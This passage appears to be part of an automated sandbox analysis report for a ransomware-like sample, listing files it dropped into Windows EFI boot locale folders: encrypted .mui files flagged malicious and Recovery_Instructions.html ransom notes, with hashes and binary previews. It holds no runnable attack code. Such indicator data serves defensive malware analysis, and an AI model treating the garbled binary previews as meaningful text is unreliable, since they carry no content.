..l.;..k...JJ.g+.i.vp.L..Xh.!..S(...\|>..v-.va...oW..2.h%.I..m`.p.j0...8...@-....y.............,..9N.r.g..R#Vj..WZa........T.R.1..y....4..1.5....n.....p......8.^U5`.

C:\EFI\Microsoft\Boot\el-GR\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.99781006129731
Encrypted:	true
SSDEEP:	1536:1Rw3x4WesWxd4rgYt0PomhNxOeCDZZ5zsD4FWTVo/L8JZ+dr9tAqZB+2g:1RIm7ZxvYtYomZPCdZDoTJ4db1Zc7
MD5:	55DAC91E29037EA7533B238F8A288334
SHA1:	8BC19CDBEF20703150F70CC2678C34BF686804C8
SHA-256:	C742BBC67AAF03D4A16E25ACA9B8BF7C2F0960B8FCA733B60386F869FF91B13A
SHA-512:	77EDEB38129BCC15F6D8D7AF592242647D628492311A9008199D6F30723AB1F41C2354E3C8BBCD5122741BC231B8BCA2FEA17686938CE3872561ED1185F233AD
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%%.J.Q..x...(}.}oTwTmw.A]O.}.$.h?'....j^........s..yK>#.f.jd.........O..IF.....#./..c..G..&.2..T..6....&..H>\.'..:SnD.=...{`...a&......q)....Xf..9..M3..mmN..........r,............c.kH6PM...'...6..~Y......0^.IGRV..B...E.^&I{5...}..)...._....u...{(QcM.S_BDkF..M.......ZA&.F...G.>;...xi.z.\H#aa.../..H8.u..[._{.C.H.f.C..}u.)R....s..r.....I.c-.m.Jdd.~[)..F.....N.L~']:gPH...U[...H+..3...E.....<G...[.FA..&.6+.M.}.t../!R%.. ....]....W. .o..d.....y..{MSJ..@..}..W_.O.."PC.9..-......={.`#eX.vXM.D...-.j\|..i.$...v.E..cKvO..>.^t...qK...hKd:.m..s9^X..0O*j...D.vUa..PO9.@........R..;.g..p.(...];J.J_..+..I..f...P..+N.I..i.Z....&z...F..W.b;.==.<u..\|&..t.b..Z...g.TF....).B..rf..........wjF3..y..R_..... R.m..%....rl......x.41..V1..Z.

C:\EFI\Microsoft\Boot\el-GR\memtest.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	49688
Entropy (8bit):	7.996419414075065
Encrypted:	true
SSDEEP:	1536:VzrwnwZVOAZT/wntS73YcYrWMt0juB7+cP0l2lpKmGp:Vvwwjj2tS7RjjuYO0lnmc
MD5:	1627B403B41222C7EE6C9C0E0A433985
SHA1:	F41B83B5E50F1E7D691E8C0EB3188219E4D1CB5B
SHA-256:	10095655DBBE4ADAB4FED09C651D794FB8A5BF1AFF6C64C834CA5C2C3A75D3B3
SHA-512:	BBD81B86720C67A1C63E703B3A026FEAF272A4E17FDD2F67C5DD0A4606C9D249294B2279D8E20D8405BC675A86530EE59BC3655B6B8D87E763A1CA9727C8C592
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.........`.KF...:0.....T.....+.. ...y..j.Z...j<.T.3..2.h.X...%..........9j.." ..=........>..S.....6i...../B._}....@XU....N.T.......p......4J#B..j.Xu.P,..b......\|0.<.[...=d`.#.E........h..i..4lb...../r....pwt.!Gl.!b..S./.3d.G.MI.L.......lW....&...<.z..En.q..1...T$D...&..Z..).[..`.....r....R7}.x...J8:.o..Bq..=.p2F...i..-.&s.q.+.......^.=4....`..x+..O...[.X..b...J.UD>.I.".(o.x...b..D._D.t^.7.F..#~(.0>...8...'.o..\|.v}.%.\|...Y7g...B...5.....SW=>=..u.......(...\|....fwc.&V.1...l...bl.....l.........4...XD.].....=......"JE.v.N....0Bl.....8./....r1T._e3@..\|1i5.>...8G..?..f...=.6..M..d...T....i...h.W..)..9?J..s0.b....:.22..$r...\.xg...]..W.:0....c.N.b3M..'Qoi..].>.b.]._3uA.>.<....R.C..-.....v..ro.&...Y.....5....>8...?[....Z/s.E.h.v:....< .:

C:\EFI\Microsoft\Boot\en-GB\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	9778
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM7:kFD8LNw6QO9FD8LNw6QOo
MD5:	B8C51A0AA875AAA944F10179088D8EA7
SHA1:	6C9E099B9102048012B50235AEDC1069ECDC2351
SHA-256:	183E26B8028F4AAC29F174234FAF7AED7FBAF0D14A30C246B3117579E4E8E254
SHA-512:	72A826E2808782237FCDB049D73A91FDE875E0F77BD34CDD633ABE261F7453BE3D9EC3811770755767EBDCA151640FD673769D70859AF4A75211817822F48561
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\en-GB\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997691549642442
Encrypted:	true
SSDEEP:	1536:cVY0VCIls5IG1pG4OdBI03iR5H39YRprRSZCfnjbN:gYKCIiCGchI5H3K56wV
MD5:	5BCF16C3D62F21E3866FF6DD39950BEF
SHA1:	72B61E38A78C5E7F06C7F7C5C0E0BA766DD6C0DF
SHA-256:	209C85E54462088F03F98300A3D568139FD192E3923CEB93E94DC527A722BE14
SHA-512:	1047E32C2D113D9BCF0A9AFF1077FF63E9EBE9D87C669F08F65DA56E79347692C75F050C46BB77BE74D44820C02F5CF76F90BFD74E742D932CF1CADF073D1767
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%G...n.H.)fR@.0..}%.f.N./..wi,..z..:.{..*m..%....R?...,Q.{...S.......w......oy..#..3...JN..C0I..G+.l.j.Zr..`.P.#yV..1V\|....`b...s.......O.>.;.{n`p.<A/.S......J..G6...c....dW......k).,.`..'....B.\...Y..w.K....sL....[..X...2j.#.(...k...F....,..]...0Q.n.e.b.{;.=jE6..c..N..t..4......G.)z.d.g].Yz.......2.Ey...,..=...!..7.......`.A.. o..@......K_..u.$..S`:}>a....t.-..-<...`...m.U..x9......(.o.h.T..U...z....n..-..e.4.`.....n\'y...>....1.nQ[..&...-..(.X....(.....)..K+...0....UC....o..Q.<..`....."..]..#.....<1..'.tS.&aE.Lx.yJ...F.:......J3/-...(...p...B..V<.l.K....]..^.0..W.....m.6....8..E.x..../.q.....b./e.y.c>....e.V... ....A.vV..c.i.MMKi..X.:c$..xA.xCF...Y......E..F.)..L.p4..N..w.eJ.$M.H .:.=Ek..H:!;.t..%A.d.g.%9.c...(C..\.....).n-e.g^

C:\EFI\Microsoft\Boot\en-GB\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997800863519386
Encrypted:	true
SSDEEP:	1536:Qu5zosvoJyGQCsH3wYZfJg41U3/72mBDgv9rx4sVYZZTUF:QI8XJcCsjfJmXBIjPim
MD5:	38F258ADD8E3A6FB6B6BDEC550F63A55
SHA1:	F87E64CA3F0E44C70CBAD18C4EFDB000F54E09C8
SHA-256:	64FEE9D27113845FB91CB9AC7D9FD5B255B83D1024FA3C41063556161DB0E8F4
SHA-512:	8FD51E546EEBE52D62DD8E4D44B0F2AF8002E0699583F4C2044255431EC25066480A215808DBED946FBDC0E27E8606BCD0131F908EBF2D0D4CE2AEE572D1CE6A
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%G...n.H.)fR@.0..}%.f.N./..wi,..z..:.{..m..%.....P\..6c'..c0-%"2.[-.>yX..3.F.}/.,Me......_..~..S......3.4N...;.Qb.2...Js(.......I%....D.`s}}K...7j.8,.!..J`}.c.u..M;..v....."......B...r.IFoghc.Z..l.......+...>..Fk...!...v;...F@h.....4..."...#.Y.....Ix..N.....EC9....q...a.=sH.yX.E.oA.l.+Pb..g~.57.Mr.+.$!...L,s..E....;@..jM..^..7....+.8vY..jqS5.W.d..!..4w81..$.?<......H..%.9.f.!;.{l...@n.=.fO... ...O../..f...CC.....!;.g....9.....0t..Y..Xet.y..,1.J@i...2.b.a.wJ.h:Y..6.....Rt..&q.7.......".N....x@Yn ...z.L3.9.z...7.$..K.Z(^ .......^.C.@2..wzd.)=.B.hokR....{s9....<..uX.l..{.....h.....S..bHY..t..e.4..o...c.\|....:Jd.p.(...Zn...g..#....<.....k)...U.p.h.2.6...=.)C./......\|..U.......+1...[e..5.4(...:.....i..t/4.w.a..x2g...?9..JRK.. .D..HA3I.p..%.M

C:\EFI\Microsoft\Boot\en-US\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	14667
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8Djz:kFD8LNw6QO9FD8LNw6QO9FD8LNw6QOo
MD5:	E907E2E8796F72E450EEAA65932B78E3
SHA1:	CF51CE381DF34353DF4276426DE9A05E2184746B
SHA-256:	33ED124498A534195FDAFAF4927CD942AA9FAB8DDE2E49F0218DBB5DF52CDD13
SHA-512:	9B0580E100BB69CD50D4B1DF5DB67E15E6ECB6869BAFE1E629C7EF98F0EE6FF1C43A806DE0FF12E9E38D75601502B6F7E3C09E4CD8F2BAC76F02D12FE548671D
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\en-US\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997611579449457
Encrypted:	true
SSDEEP:	1536:fIYDoxQ9U5BxwPpCXZTgZRwOx6jowdrrPZzFFVJUmPDWuZQP713v0DuEElN/bKz:wYUsU5/wPpCpUZOmnwd/xzFF8nuY71MN
MD5:	7AA561A13AE289C25D671DE89DD0AC69
SHA1:	4AD6C590D9ECEAAAE71232CF6FBA8DE8263FCA97
SHA-256:	3327404514F055195D6078F025FE4A03DAA1A8E54C0FF37C8A045CEE444989BC
SHA-512:	91C2BACB4977F52F31B47E76FF4D66EB810EC5E94FFE9222C500D34A3A3BEBF576F4C59461E62D9BF69F5B332DAE8740305B3BEC483175D33CBA1017002128CF
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%G...n.H.)fR@.0..}%.f.N./..wi,..z..:.{..m..%.....;).\|...0.......].v.......M.:.J.d.Y.> ..i..<.A...y=...hn..+u.:...3}..o....K.D..J.w.36....V]..I.....{^.'o.Y..)...@y.J6-..\...+av}MOMd.,yc.G3.@v.OSG.J..............K......R..q..l.....1.?.\..[q;..j..`.k5....b....0..F...E"....NB1&[..4...}...........=...c..f.n..h<i...?La......0..4...,..R.......p^..z...V.v[wX..Y..7...&}..)..t..v...U~....7.y.y...r0#...........?e9..B.Y.&..&;....+q..I.- 1..O.zr........=...G....P..D.....A.o...i.S...".......m..H.o.....9T...{.....SX..G..h].B...l..h..]....%..]......SS......x.NXW..B..s#.v.F.....a..Dj..b......?...9.x.].~_.N.....oe.P.w....=UapU^5.e...h.j=c...a:..........e..X.3...}.c.Y...T..M.\.._8T4.....G.q.jiv...v.....l.....F..o.;0..1....;2d!.....Yx..J..O.

C:\EFI\Microsoft\Boot\en-US\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997645399294351
Encrypted:	true
SSDEEP:	1536:mCp+O2/LMlZwULCZQURhgDMjdZd+wFBw54u9Coe5sdFMIweXw2ZoPNA2Hv3E:mCK/IlZXCiUYDkdZIqO54ACoe6dFMbUB
MD5:	BF42192FE832AE2E90C40CA95E9090E1
SHA1:	22F619ACEA6003A87D0BB21E331F208371F7D6C2
SHA-256:	0427B8870ECFF1E93E31482D54058F616E4D56FF7558DF43A2F9C196B0D33B06
SHA-512:	24E264BA93ABD8F34D2727F9C83000DAF749BFA82B05F023177234BE9998D8ED63BB58470B0707D1EA3EBCCB487431A63D2B3E0A3C8E7BB14D3AF61273DA7C34
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%G...n.H.)fR@.0..}%.f.N./..wi,..z..:.{..m..%.......7..4..q7.2.@4..._...H!.;@....=.Y.6.,..O....2..qd.g..5J.X..`<.<.....i9..F.(TD.y1.u......v...7U.o.......,.8N.tW.:...+......3W.....P....[&_as.,.......w..!.Z.8.V+3._.=...i..4....)....!of..n...t..H"-k..3,.G...5....~...wq=.a..jj.V..!K....yV.O.C<..b{...J...eo....w7.w.i.\..&....?.H...'...$....=d.<b.G....$.N..".......5..=O..aa..4.$......s~......S.s.....(.H!....U.\.....I`.T.H.].U...9..g.v{{..79.5t..W..._...p\)V67.-....qb...l.av....hw.....{.....%..3?...?..i.!7o.6P...L..G.:...p;.6....v.C.X.r..H.\|o..p...)J.HS.?..x<...>Uv.!x1.3.)./.....R...H-.....ATY..g)......e..8......hC*..,C.Vx.N...E]..sB.h....Y.UP<.CF.Z.\=...p....<..U-..?x...E.r2/..h..v.Ws\|...2...........9c^..f......kgY.S..^6.\...1d"..._.

C:\EFI\Microsoft\Boot\en-US\memtest.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	49688
Entropy (8bit):	7.996036642141688
Encrypted:	true
SSDEEP:	768:I6/yug3Aozj0Ic7JsxCweaQtKcqrB7Snqu3pbhLST2KJvjkoEoLcASAsbhH7vPz:jIQocCxCweJocqN7SqabhS2igZopsJL
MD5:	DF84DF5AA216C360182B97F5BD5EDC0B
SHA1:	D29B737F9391E0E73AE3E2DC79C3D0C7CECECCCF
SHA-256:	54A6D7510BEFF197DA19D6BC98A0B6106DA6637AAF3FB690CC5E70E52700C65C
SHA-512:	D22A789D41DF2B52695318492BC8DCDD659A16FEEAF21413E228AE328AEBB318DCAA9768865A74FF8D212C0020E80069309A7991A83582689345EF965AA65712
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%@.%..w....\|6&yT.j$..CO....-.....E...<Rk.WC...s.wE..4.p.7.......&..aW.5.].~.{.......4..!C..ON............T.?.......~.%p..D.9....$..e4qL...t;e.Qn.\|.....{.9..N...rk...D.m.H......_-.W,#?..t.k1w.t}c...T'..h.\....6...2>..9.R./X...m.t..x.5..q5i...._..L...e...'.......4[K...M..aUw..Ue...0.^H&iXL....l.\;'?9..x......jh..K.3...b....Hz.,./....bx..]...`Op+.X\.H.D6.\.^.E5u.0.Ek.....'..]W...s.lD{s.U.{.].q...O..iy.."Q..C{>o.f..../Wk.P..........v........J.I;...o;R0...=.I.Y................=.d.B..-.2.-t..........).t...;...[..w..0../.zqX.....w..B.._.C..:..]..I.;..g.z............A...I.T...uR..C......*..#<H....1.j.zw~.......N.3./..>.B..,...\M..O.g=..(.!....4/ 3.npjIq.C......BU....R......>....GFo'......C..hc(I...-'6.T..'.[.V...l.v.....0......8..d......

C:\EFI\Microsoft\Boot\es-ES\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	14667
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8Djz:kFD8LNw6QO9FD8LNw6QO9FD8LNw6QOo
MD5:	E907E2E8796F72E450EEAA65932B78E3
SHA1:	CF51CE381DF34353DF4276426DE9A05E2184746B
SHA-256:	33ED124498A534195FDAFAF4927CD942AA9FAB8DDE2E49F0218DBB5DF52CDD13
SHA-512:	9B0580E100BB69CD50D4B1DF5DB67E15E6ECB6869BAFE1E629C7EF98F0EE6FF1C43A806DE0FF12E9E38D75601502B6F7E3C09E4CD8F2BAC76F02D12FE548671D
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\es-ES\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997869611773421
Encrypted:	true
SSDEEP:	1536:oXv6NzRjganWpjJ9HQ3SApq0nGJ8WDOUCyPyGFAxXdhZ/PbRZM6K2:3NzRjg7p9OpLM8WDlN2XdhZnb3Zb
MD5:	AD5328BEF1875153A0678F6622CC63F6
SHA1:	55A7CCE4D6B874E5F13BF599C830E999186BB3C8
SHA-256:	EDA2887415EBA1E1BDD06525C8AFDD02B5E0E3D22DE533F654063E58991AD32F
SHA-512:	C3FE10F07A3351B4AD4C4836ECAAB5F7A2A26CF4DD68D449D490684B942B815DB98D8E883E961D2A6C0C1A0B11136124C3F1F084C4D4354863C8390087F804EB
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%D.....].(7.n.B.!.DD,.. ^.fP...(5.#<d.um\N.V..........u.p..c.Z....<.E......B......x.&........-...8...........k.}.f;P..w....Xa..=.>..s@".W.{..<....T...a.....{.o.t..R.H..0.2.%.p.n4..+.....}!...Y.S`P....[..8xI....Vb....N....T...Z......5....e.........\7AYu........ju....S_jYo;.r..U.i....YPOIhhA..&..."W.l...Y...._&... Dx3.\.h..&c....qqz.y............Cs...jDy$W.-.....c...j..\|.R....0Y.+.Z.x...2DH..A.....M....7.fP..../?p...Z`.,.........b...?yx2..:........s.....i.T..]..g.).t....<i"#.I...pIf[...fs...).H &.....v...Z&..4k._1..z...d..U.ZPI%s.(..y....B.df..^..B...(n\|.^......1.9.a.0A...ci....M.x.........-.i.....N.$.....Tr7...$MC:d.$.=.Om......:..m...o...nQ..+v97....v..%.QR. .K...(....sp:D..Rv..V......EE0..M.....S.....g../..\......C.?......LP>..

C:\EFI\Microsoft\Boot\es-ES\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997852783804539
Encrypted:	true
SSDEEP:	1536:lnvlK6M4v6I+HvpSZuyWAvLyLENyFMwsd9q0B4jImjRND74oyLZZ:RvlK2/+Pp9ATyLVAv+I+Nnk
MD5:	F52FED5643CE213ECB9D1909268C9622
SHA1:	A75F80496BD013D3EC025C970600ABE27D0D887D
SHA-256:	DB02DB745E924F24C0EEE6181F311C17E0A24F7F42F86A0262AF5C8EA0BB7BCD
SHA-512:	FA98A33B0AA6559BDE7A6A7C9C154314DF9A37C1E260FD9841CA94FB0BB52A84CAA70280C01EAE58A9DD458FC1762C203CC325D94A2147DAB88D60977E54055D
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%D.....].(7.n.B.!.DD,.. ^.fP...(5.#<d.um\N.V.....z....w.\..s..L.....m...gxR.8~..........Y.....@...M1....fM&.6..bi.r<`...(.:3..#.u.s...e{....r....0^....4...b....b"...$s.'`%.M.%.Y.du...K227/..'.2.,..B.A.;.[Ucb?..Xm6..w.jf.&.U..wD....v......DH......5>......h..g..w.z.....co....~n$I...Z....Y...6.........`e<..DJ..c`...z...Z...`...n5...R..A...,..:.~..@.2Z.....FV...r..mjg.(..g..;...:k.A..<,.U..Ew...H....9i.._..T.1....v..i....~..!..`0.E.?1.^..a........?...'D.0.N..{..}#;9......q..7\+....)(... .k..v!.Y..".I.w+~..K.d.)..!. >%.7.ML.../b..6.a.).v.J.$@3r..+H.ze..o.j..a..<...'D......g.1...ba\|0.~."i........bV..j...K.f?vC...M."...e{&..,.h{;..V/._...YR.G.=..........>@..\v.xi.4.E.wh.dA............~..$.GD..j.7..]H....\|...1n..eZ.z..r.J...n.r?.}

C:\EFI\Microsoft\Boot\es-ES\memtest.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	49688
Entropy (8bit):	7.996848642748312
Encrypted:	true
SSDEEP:	1536:TsqrnqegneOVsWJKBLPHi1DRg5PISpNLVtM:Ts+nqZeR8KBLPaRg5pLVtM
MD5:	7C64E30E1D1043E8C4F1D59145E05E95
SHA1:	AE749B1EBC0A093C9F86ECECB5EF1DF75586DF50
SHA-256:	35CECA2D09F8B24FC7738E0BDA9B37FF05DF11432EE72584B4076D3AF02F6C67
SHA-512:	1B8896F3E3CEDB3025D280443955E720EA8C3D1F2D53A60CBE75CB1EA37CC0D838CFC00F24DEA37388EA2BA8B7D6265E289A691597C7E7F211423C46AD4CFED5
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.H2).!\...\|.(..~u.!.2.....m.@Oi>.[.....Wr.o......y...,..../.{......?....hW8. F....o.~.....?.../..PF.T..`.MDb...e.7....Gec .,.....x.....p..R..mE...M...3.....PC.H"........i.....xX.k..teus....-c...$.....B.......K/......Q?,`Y..;...W....M;....}`f.0....ZJ.p...by.....^.. .hu..Ue..W....@..r..%..U.9..]d...hb=.T.<..dm3.>..K.....Y..............X,$..>.=...<.x.2.....[..zw..Ax}p....A.+.sX...L..Ldl..../:Q'u.W.3f...g...,..=.m..8....MZ.......q. ....>$1$..%..=..u.\.&Y...#.f...f.B..o...a....EDu.m..n......Ka..?..h. ..Pc +...!-{...8.X...<(s..z....<~;../B.ZZq.=-;...Fn.....\|_..^d.5......geez..~..Hm...k.\..;...&..5q.x 'gX.r.S..=..,K(-..."..t.....%p...O.~.7i.6..~...2=....R...I..../.O..t...e=.: H.Gm[.d ....q..]..J.....PX..:'*vG....O$.Wy.)......i..0.i@..>+......t

C:\EFI\Microsoft\Boot\es-MX\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	9778
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM7:kFD8LNw6QO9FD8LNw6QOo
MD5:	B8C51A0AA875AAA944F10179088D8EA7
SHA1:	6C9E099B9102048012B50235AEDC1069ECDC2351
SHA-256:	183E26B8028F4AAC29F174234FAF7AED7FBAF0D14A30C246B3117579E4E8E254
SHA-512:	72A826E2808782237FCDB049D73A91FDE875E0F77BD34CDD633ABE261F7453BE3D9EC3811770755767EBDCA151640FD673769D70859AF4A75211817822F48561
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\es-MX\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997700618788961
Encrypted:	true
SSDEEP:	1536:Ndx2fRGAvwtysQ7A3SNJd6CG20JxUt08b57ETBjqwQ48ehY3O7:z8fRDgygSNJdu28Ir+Bqwl8p3y
MD5:	22769EEC08A6166A875032191A217574
SHA1:	92172F5DC482B22D04F6FA4749E6E6F81CEF9458
SHA-256:	A96B226343B39DDFF142F69033429484A8C158230E4C582DC406E05630DA9A3B
SHA-512:	4FC07B582315DC21D098FEFAA56E2D51AB8BF90D93937153490696E2C2A7DFEFF6ADDE5C41C2E4FA2978CEB099DF099E63433FC0ED5247CB131698B43F5DEFC6
Malicious:	true
